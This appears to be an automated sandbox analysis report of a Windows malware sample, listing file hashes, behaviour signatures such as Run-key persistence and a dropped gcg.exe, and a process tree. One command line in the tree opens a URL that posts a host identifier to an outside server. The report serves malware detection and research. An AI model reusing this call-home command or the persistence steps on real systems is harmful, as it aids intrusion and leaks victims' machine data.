Analysis

  • max time kernel
    119s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    04/09/2024, 05:33

General

  • Target

    cd2a0f28284767667a565691a2687690N.exe

  • Size

    212KB

  • MD5

    cd2a0f28284767667a565691a2687690

  • SHA1

    3de10b566bf5f7ca98274b4763db393dbe7b8d93

  • SHA256

    0a0180797815349212dcb65d198b31620cf6c1d82d214f47fb4c128e8afba227

  • SHA512

    4c94692e55cb24e8aa8307a4c80dbf7601117c04b9f312eab04804edbaa9858607772094025937c0d3eb6e40ba9a5b0b94207e6633542386ef1f763c53a8352c

  • SSDEEP

    6144:Bfzkr5AMMnb3YzewGIplBxxPqSpmHlZs3K4k:yr5fMnb3YzewGIpl1qSpmHjs3K4

Malware Config

Signatures

  • Executes dropped EXE 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 34 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\cd2a0f28284767667a565691a2687690N.exe
    "C:\Users\Admin\AppData\Local\Temp\cd2a0f28284767667a565691a2687690N.exe"
    1⤵
    • Adds Run key to start application
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2704
    • C:\Windows\gcg.exe
      C:\Windows\gcg.exe
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2800
      • C:\Windows\explorer.exe
        explorer "http://www.gcgkuakers.com.ar/postit.php?accion=post&host=ZQABOPWE"
        3⤵
          PID:2888
    • C:\Windows\explorer.exe
      C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
      1⤵
      • Suspicious use of WriteProcessMemory
      PID:2716
      • C:\Program Files\Internet Explorer\iexplore.exe
        "C:\Program Files\Internet Explorer\iexplore.exe" http://www.gcgkuakers.com.ar/postit.php?accion=post&host=ZQABOPWE
        2⤵
        • Modifies Internet Explorer settings
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:2644
        • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
          "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2644 CREDAT:275457 /prefetch:2
          3⤵
          • System Location Discovery: System Language Discovery
          • Modifies Internet Explorer settings
          • Suspicious use of SetWindowsHookEx
          PID:2728

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

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          Downloads

          • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

            Filesize

            342B

            MD5

            0eefb0b4c8dcbe1ce6cf526697d6d333

            SHA1

            5dce89fd15d6a4d46cf727690aee8aa39c97b188

            SHA256

            f0eed67dd8d8b426fbf4cf4d58af28b1efa9a66f769ec7e801d19879f888e1b1

            SHA512

            85a3690430fae523a07074a1b4276bf6814822da17ed4d110b43310248d6d276efc47143af1a17ac7276aec21a988dc6f2856b8494cc206a3123c0f58758ebcf

          • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

            Filesize

            342B

            MD5

            1da4deb6d6eb6ad386c0b3cace30bb20

            SHA1

            4fd5598add37fd3d1dab2c5a434e81c6bc5b73f9

            SHA256

            78f1b3c3587e9cc556cff9f6aecca6934cf2f2b11bf661baaac9b9fcfe52174b

            SHA512

            eec6359f5e327687c61de182df39e87b08c9ae25a1b61c67758cb733c20e69a43e6425c00327849df224c845ff97dc1a768753fdb6b1e3d0a9f7013f0b3f4bfd

          • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

            Filesize

            342B

            MD5

            89a67c329ce8710e0b5f0de6fcab6d56

            SHA1

            a30471020a48d1332dcedc04ab96d8661faefdc1

            SHA256

            516d1fbee9ad4a6719681eb26084d55b01a9b5ed1186bb5160c087cc7e169edf

            SHA512

            07249193dc02667516e08e7bd183dc7fc70ed3a496c109d5b37a4fa6a3d5b334cbaca9269cd2acf1eead79a52cc058a621d6811d93c4ac0ad43f33c03ae8ede7

          • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

            Filesize

            342B

            MD5

            c1633a6b23d7284081d4a03601f332b0

            SHA1

            804904aa165486967b402322056186879bbd2f5e

            SHA256

            06c3f1b138c273aae058fc4ae61f37643617b1a43ba2240f90a6cce784a5b3b7

            SHA512

            408208efc5a53ae541b5142bd26c3141a1bd84cf351c6ed1966c448d97dce69ce1bc5a1c69fd0be0e19eec4d9e83032476d179fb43f1b2bf54b4156adfbfe1fc

          • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

            Filesize

            342B

            MD5

            17c1dbffa1e65f74e4d2244b4e51e7d1

            SHA1

            87341e09d08394af3f45d0b7b887c340bcabf1cd

            SHA256

            a93200a69d08b68facd666eced8174558d1a44676ffb947137c1d2f539b06120

            SHA512

            a1354fdfdcec877ba9704e2852a8af18d2975059b52f01b50b47201054a4da0da20221c368225a63831e37d8cd329a9c33189526d46a5b26ba9ba8d5557e50e6

          • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

            Filesize

            342B

            MD5

            2fbb3b42bcda9ea61f1b8c26aa3f295f

            SHA1

            1a1ddf67f1e0fb15a548fb78c66b4f49ce6a13b0

            SHA256

            4ede8281f4ce58b5000eccafff2f542a7b2f633f762d389f2d6ca55cfbfb8af3

            SHA512

            50c12f8ffdcba0ae753ec405cee825c8e2c3d580f6f05ebb0e25831bb8af1829ea3531d13e2fcff6d5ec30a163c24bd76e17c5d105fc7ab24b8e5362eabc37d1

          • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

            Filesize

            342B

            MD5

            9a593012acb6e28fb3c93c358a712305

            SHA1

            6a1137e965a36fc3de997da7b906edd86d81bdf3

            SHA256

            8c95ed90a5ee04ddeb79bc3d64a8bb6de5e50cb4d912ab3f8795de5548ec8d7d

            SHA512

            f950a19029d3646311f29404640446cc568ea07f7b7196dd05c238906647393dd6cd028b8acfe9a252d959791005a3c2df614081f385a3ace7883cf798dfac21

          • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

            Filesize

            342B

            MD5

            12cb1bfcad8491e2d9b8dd2db383f140

            SHA1

            9c167325d0e05fe0d8309371944b416ced189666

            SHA256

            2fd2074729d090cadcce4436bbbaaa6dd00220a418cccdcc5bf5813f38611014

            SHA512

            522059a8053ad4de5cd19f6d3ad0e3df4a55a0870b21c36553436309a4aa7e0539c77a539623750a02abdc737bd78f37a0c5d3852d87da342808fb2f9aefe05b

          • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

            Filesize

            342B

            MD5

            62d64ab1572f9e144c4fbb2008f0b6a3

            SHA1

            b74f8da7ad2dc345b0894b1c0e9b179ab6392e30

            SHA256

            9bf33d9aa384530639fb7f89c47f575c90300cf05114780c4cd196988e86c6fc

            SHA512

            882031be0a36a5970654413d18585a7d5b5ee7929b1553947ec4a319e7df16b6dc6d5baa1a5256b3765e77402de6a3f30c3b41c28a075d350b7a7e525444b814

          • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

            Filesize

            342B

            MD5

            b720c0b636e4788e5458893a8cae34ab

            SHA1

            59da439c1645cfb1eb5e6dbded0e504b0aafd3d7

            SHA256

            6c0c8d6bf458ef14bd778b5b96ed65b03000e18fcb248850463e1612a6118f7f

            SHA512

            1e08209148a1eaf136811bd7ebe05683facf1d34f7f8d09ea7d87b89c1635f8f33a0968f5079b2918951fff4b7586f974b80ecfc611923cecdffc4dfa7ceb68a

          • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

            Filesize

            342B

            MD5

            5bfde6c0faf4f9a9df891bd49ff5e558

            SHA1

            4fe24ea8d3c0726c39d5d1cbe140574adb40c222

            SHA256

            725cf3eb4688ebd24917b757046565081189b4f362f1c892132abd55ccc21e26

            SHA512

            76debfd2a7af41c306d1910a731998093d1e7707e96776a9bed120fb88e54203aad0b5a7a4bdbe2b2aea565db101b65cb89684e966288cbe2ad78aa26782b438

          • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

            Filesize

            342B

            MD5

            377f9dc120dfe41ce65ccdb919dbf7ce

            SHA1

            f461d318e41b735af462e70ccedbdf956f47a877

            SHA256

            d81610a906fd63b638628bca968edcdc2a0b9f7c65c594019b004d8faba6899f

            SHA512

            b599a01acad7e64ab373c08d220f90e18301bfe4340695ec0e7a4f54c287a1bb5eb0666e902d3bdfe0a72ea35796cf116af4f6387ca6afda21cb13a53c8981b5

          • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

            Filesize

            342B

            MD5

            b9e90d7794980d278713842d6dc0573e

            SHA1

            d824a5e11a1fba9c2e4f2b18103b3c2034c72f30

            SHA256

            54fe41fca66f4bb69596aa5cbdc3255b008923881803deb8cb83c8ba616242c4

            SHA512

            cd6bf01b012b1baabb62ba23a1edee5d6c931fbc2de5532506d7e4972a34bf1cb29ac30fef0a4302f44f6609a21ec597fb26193598820779e424583c7e6a7b41

          • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

            Filesize

            342B

            MD5

            6fe4565604d68c6174fdc8f55b68c9c7

            SHA1

            b53ce048de7197f5e8424d52fafb6636fb76b6b1

            SHA256

            958d49af9f8f2143382872a9cfd00c8756d34019142a6d07fdd1861d3a0cc86c

            SHA512

            aa3768d2daefd8e87b2fb8c69e197640daabefbfccb1fc8bec312e8863d30384ff8e7a63ffd2a1650b8f0d82e32a0d7f7d49c71bcdc0d2ef970de2cf20a9c708

          • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

            Filesize

            342B

            MD5

            bd497555388b2c3a9291c268e19e0859

            SHA1

            6fd1ca7c3b4c9654a77ab32caa1a6907bcae9b3e

            SHA256

            2415449993b427bb1598a7b132bb3aa9aed61a40dcc6b09d7027e44056dc634a

            SHA512

            5d4ea2c4f4260296594ca706a46547baaca77b118ee86c875edd1457400c7a0e15a22288d183292f77837e0e0f97b75b2ebff579af0601ba7ac8d6df55bf9381

          • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

            Filesize

            342B

            MD5

            1a35d2729efb26f80baa2c1b8f9524fc

            SHA1

            58127a38ecd41445b8c0c33a6bf5dc45b1530b05

            SHA256

            356096473d369f01a91d4e43bb90e6343f12c1774162ddd0c949e1e43df3d4d7

            SHA512

            5f727c27ab5d20cde2a8b53cc26e4c21deec02f63b9254527612655f14946483c8f9f1a93dcc91b674dd1900ca239574c36abe404c16aa32c57a3cb7d0003f80

          • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

            Filesize

            342B

            MD5

            c2844ef86f71087b1d72bd1694050bc4

            SHA1

            4b7b0b8006607970746e01e0b66e9f262434ced2

            SHA256

            cd8e906806463b0095aefdf421e1767b8443c00b137eaf6096e34e51b21bb87c

            SHA512

            00f768effb83e68ada9e29975999ed6c0aa88ae0f04ed6d685802ddd89abae294d3b23af4f6bd3ad7a4e2ae8e99556facce2a5d967b376284068b10739dcb3de

          • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

            Filesize

            342B

            MD5

            a9d70740dae56d61099f829871d8fa4e

            SHA1

            0011410bb0d034f492411744c612688f8ad1eb3d

            SHA256

            9405fee083085019111febcb8a4fd1966427d4089db72bfb3a8d97e3e1c5e278

            SHA512

            152cd152fa14c4b187a3027da61dc7b6177fae9cd823f0c89145db42286500892c6aff1b923fc0825bb611d181cd7df38ee07b8c9c5af237a3debdb3ac7dd54a

          • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

            Filesize

            342B

            MD5

            b4493851c1542cdd0f9621af6952bfab

            SHA1

            90c3394bc5d543a71d4980016be011ffd51212e0

            SHA256

            d8a4130213ad9d4a32c39f69c5663f43bb2dc18f82492d402e8126af8dd5bbfd

            SHA512

            deafe07e1afec156662d1da5d8b2690ba4be36b56dcf810e09e2e500a72925af6b4703963cba77575508711bfc1d637c2e4a7a4c7f608c1de07e81bd59def1eb

          • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

            Filesize

            342B

            MD5

            bf3dc684e9025aa30fd0aa504950337e

            SHA1

            4ac04614a07492bcc0cd971ecad1b0cbc6f8df87

            SHA256

            b25e261d715ad4f7565c8ad4e7c12e7f34f20a821f38509a3f80a86d24cb2b01

            SHA512

            9909b9dc1460d428447d0b07d540e430052450486fc4fa64084baa51e581123b11f4cbbd08446ea6c507dcf3c3a8703ea7acf23106e83161f37d56a12571d3a4

          • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

            Filesize

            342B

            MD5

            41758a3cd0b88e84aa1cc2652eed74c1

            SHA1

            3f773f33fbc70e23a4cc71af5c6ca84121bc54ea

            SHA256

            06268d6fbd382197d2b39764369a72b1a6ac8a2db0c3a2a833410921e9bf7fdb

            SHA512

            457777025b4bb030b1230c91b5adf0a14cadc2788cdfb46ec70642b0f6ddaee097b7d99237bb7a0ebd6e6f3d9d33183cc32aba5e12a1a7436df2d8a98233d8b6

          • C:\Users\Admin\AppData\Local\Temp\CabFFA6.tmp

            Filesize

            70KB

            MD5

            49aebf8cbd62d92ac215b2923fb1b9f5

            SHA1

            1723be06719828dda65ad804298d0431f6aff976

            SHA256

            b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

            SHA512

            bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

          • C:\Users\Admin\AppData\Local\Temp\Tar17.tmp

            Filesize

            181KB

            MD5

            4ea6026cf93ec6338144661bf1202cd1

            SHA1

            a1dec9044f750ad887935a01430bf49322fbdcb7

            SHA256

            8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

            SHA512

            6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

          • C:\Windows\gcg.exe

            Filesize

            168KB

            MD5

            70f6dbc6d323f4a6b6b5e28fe2ddb508

            SHA1

            0edd0be7c187d89975dc13e92143244643f1ae29

            SHA256

            2fd08efb1df59b1feba90de709bb311a94c68e11b08e261a16e2fa66fe555c89

            SHA512

            6879a9e91775ef5d81cd0c71f2c48112f6e74a5105070e16778a631238c68ad9ad903bda2451588d734c4a41ddb370e2feb9c5e116466177d2fd25956d8e1aff